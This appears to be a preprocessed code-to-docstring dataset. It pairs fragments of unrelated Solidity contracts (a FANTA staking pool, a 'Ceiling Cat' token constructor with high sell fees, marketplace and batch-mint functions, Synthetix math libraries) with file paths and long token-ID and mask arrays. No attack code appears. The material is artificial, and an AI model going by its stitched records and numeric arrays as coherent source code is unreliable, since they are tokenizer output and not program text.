@notice View function to see pending FANTA on frontend. /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending FANTA reward for a given user. function pendingFanta(uint256 _pid, address _user) external view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accFantaPerShare = pool.accFantaPerShare; uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 fantaReward = time.mul(fantaPerSecond).mul( pool.allocPoint ) / totalAllocPoint; accFantaPerShare = accFantaPerShare.add( fantaReward.mul(ACC_FANTA_PRECISION) / lpSupply ); } pending = int256( user.amount.mul(accFantaPerShare) / ACC_FANTA_PRECISION ).sub(user.rewardDebt).toUInt256(); } /// @notice Update reward variables for all pools. Be careful of gas spending! /// @param pids Pool IDs of all to be updated. Make sure to update all active pools. function massUpdatePools(uint256[] calldata pids) external { uint256 len = pids.length; for (uint256 i = 0; i < len; ++i) { updatePool(pids[i]); } } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.timestamp > pool.lastRewardTime) { uint256 lpSupply = lpToken[pid].balanceOf(address(this)); if (lpSupply > 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 fantaReward = time.mul(fantaPerSecond).mul( pool.allocPoint ) / totalAllocPoint; FANTA.mint(devaddr, fantaReward.div(10)); FANTA.mint(address(this), fantaReward); pool.accFantaPerShare = pool.accFantaPerShare.add( (fantaReward.mul(ACC_FANTA_PRECISION) / lpSupply).to128() ); } pool.lastRewardTime = block.timestamp.to64(); poolInfo[pid] = pool; emit LogUpdatePool( pid, pool.lastRewardTime, lpSupply, pool.accFantaPerShare ); } } /// @notice Deposit LP tokens to MCV2 for FANTA allocation. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to deposit. /// @param to The receiver of `amount` deposit benefit. function deposit( uint256 pid, uint256 amount, address to ) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][to]; // Effects user.amount = user.amount.add(amount); user.rewardDebt = user.rewardDebt.add( int256(amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION) ); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward(pid, to, to, 0, user.amount); } lpToken[pid].safeTransferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, pid, amount, to); } /// @notice Withdraw LP tokens from MCV2. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens. function withdraw( uint256 pid, uint256 amount, address to ) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; // Effects user.rewardDebt = user.rewardDebt.sub( int256(amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION) ); user.amount = user.amount.sub(amount); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward(pid, msg.sender, to, 0, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); } /// @notice Harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of FANTA rewards. function harvest(uint256 pid, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedFanta = int256( user.amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION ); uint256 _pendingFanta = accumulatedFanta .sub(user.rewardDebt) .toUInt256(); // Effects user.rewardDebt = accumulatedFanta; // Interactions if (_pendingFanta != 0) { // FANTA.safeTransfer(to, _pendingFanta); safeFantaTransfer(to, _pendingFanta); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward( pid, msg.sender, to, _pendingFanta, user.amount ); } emit Harvest(msg.sender, pid, _pendingFanta); } /// @notice Withdraw LP tokens from MCV2 and harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens and FANTA rewards. function withdrawAndHarvest( uint256 pid, uint256 amount, address to ) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedFanta = int256( user.amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION ); uint256 _pendingFanta = accumulatedFanta .sub(user.rewardDebt) .toUInt256(); // Effects user.rewardDebt = accumulatedFanta.sub( int256(amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION) ); user.amount = user.amount.sub(amount); // Interactions // FANTA.safeTransfer(to, _pendingFanta); safeFantaTransfer(to, _pendingFanta); IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward( pid, msg.sender, to, _pendingFanta, user.amount ); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); emit Harvest(msg.sender, pid, _pendingFanta); } /// @notice Withdraw without caring about rewards. EMERGENCY ONLY. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of the LP tokens. function emergencyWithdraw(uint256 pid, address to) public { UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward(pid, msg.sender, to, 0, 0); } // Note: transfer can fail or succeed if `amount` is zero. lpToken[pid].safeTransfer(to, amount); emit EmergencyWithdraw(msg.sender, pid, amount, to); } // Safe fanta transfer function, just in case if rounding error causes pool to not have enough FANTAs. function safeFantaTransfer(address _to, uint256 _amount) internal { uint256 fantaBal = FANTA.balanceOf(address(this)); if (_amount > fantaBal) { FANTA.transfer(_to, fantaBal); } else { FANTA.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
@notice Address of FANTA contract.
FantasticToken.FantasticToken public immutable FANTA;
1,072,738
[ 1, 1887, 434, 478, 6856, 37, 6835, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 478, 970, 8160, 1345, 18, 42, 970, 8160, 1345, 1071, 11732, 478, 6856, 37, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x4eC6673D281df7869CC54F6A972DB2BFa1d7A90e/sources/CeilingCat.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("Ceiling Cat", "CCAT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyCharityFee = 0; uint256 _buyMarketingFee = 25; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellCharityFee = 0; uint256 _sellMarketingFee = 35; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 69000000 * 1e18; buyCharityFee = _buyCharityFee; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyCharityFee + buyMarketingFee + buyLiquidityFee + buyDevFee; sellCharityFee = _sellCharityFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellCharityFee + sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
16,021,748
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 39, 73, 4973, 385, 270, 3113, 315, 6743, 789, 7923, 288, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 203, 5411, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 203, 3639, 11272, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 10756, 203, 5411, 263, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 203, 202, 202, 11890, 5034, 389, 70, 9835, 2156, 560, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 6969, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 2 ]
./full_match/80001/0x36C051246B4004AdA8fFFE857afd42921e943e0A/sources/contracts/GameMarkeplace.sol
* @dev Get an item. @param _itemId The ID of the item/
function getItem(uint256 _itemId) public view returns (Item memory) { return items[_itemId]; }
9,478,801
[ 1, 967, 392, 761, 18, 225, 389, 1726, 548, 1021, 1599, 434, 326, 761, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8143, 12, 11890, 5034, 389, 1726, 548, 13, 1071, 1476, 1135, 261, 1180, 3778, 13, 288, 203, 3639, 327, 1516, 63, 67, 1726, 548, 15533, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xCFE054EAcc80c6e2F68dB05D572fCC95d9A825d0/sources/contracts/1_Storage.sol
Batch mint tokens. Assign directly to _to[].require(msg.sender == creators[_id]);
function safeBatchMint(uint256[] calldata _id, address[] calldata _to, uint256 _uriTemplateId) external onlyMinter { require(_id.length == _to.length, "_ids and _to array length must match."); for (uint256 i = 0; i < _to.length; ++i) { address to = _to[i]; uint256 id = _id[i]; safeMint(id, to, _uriTemplateId); } }
4,946,466
[ 1, 4497, 312, 474, 2430, 18, 12093, 5122, 358, 389, 869, 63, 8009, 6528, 12, 3576, 18, 15330, 422, 1519, 3062, 63, 67, 350, 19226, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 4497, 49, 474, 12, 11890, 5034, 8526, 745, 892, 389, 350, 16, 1758, 8526, 745, 892, 389, 869, 16, 2254, 5034, 389, 1650, 2283, 548, 13, 3903, 1338, 49, 2761, 288, 203, 3639, 2583, 24899, 350, 18, 2469, 422, 389, 869, 18, 2469, 16, 4192, 2232, 471, 389, 869, 526, 769, 1297, 845, 1199, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 869, 18, 2469, 31, 965, 77, 13, 288, 203, 2398, 203, 5411, 1758, 358, 273, 389, 869, 63, 77, 15533, 203, 5411, 2254, 5034, 612, 273, 389, 350, 63, 77, 15533, 203, 2398, 203, 5411, 4183, 49, 474, 12, 350, 16, 358, 16, 389, 1650, 2283, 548, 1769, 203, 3639, 289, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2019-07-10 */ /* =============================================== * Flattened with Solidifier by Coinage * * https://solidifier.coina.ge * =============================================== */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: SafeDecimalMath.sol version: 2.0 author: Kevin Brown Gavin Conway date: 2018-10-18 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A library providing safe mathematical operations for division and multiplication with the capability to round or truncate the results to the nearest increment. Operations can return a standard precision or high precision decimal. High precision decimals are useful for example when attempting to calculate percentages or fractions accurately. ----------------------------------------------------------------- */ /** * @title Safely manipulate unsigned fixed-point decimals at a given precision level. * @dev Functions accepting uints in this contract and derived contracts * are taken to be such fixed point decimals of a specified precision (either standard * or high). */ library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10 ** uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Owned.sol version: 1.1 author: Anton Jurisevic Dominic Romanowski date: 2018-2-26 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- An Owned contract, to be inherited by other contracts. Requires its owner to be explicitly set in the constructor. Provides an onlyOwner access modifier. To change owner, the current owner must nominate the next owner, who then has to accept the nomination. The nomination can be cancelled before it is accepted by the new owner by having the previous owner change the nomination (setting it to 0). ----------------------------------------------------------------- */ /** * @title A contract with an owner. * @notice Contract ownership can be transferred by first nominating the new owner, * who must then accept the ownership, which prevents accidental incorrect ownership transfers. */ contract Owned { address public owner; address public nominatedOwner; /** * @dev Owned Constructor */ constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } /** * @notice Nominate a new owner of this contract. * @dev Only the current owner may nominate a new owner. */ function nominateNewOwner(address _owner) external onlyOwner { 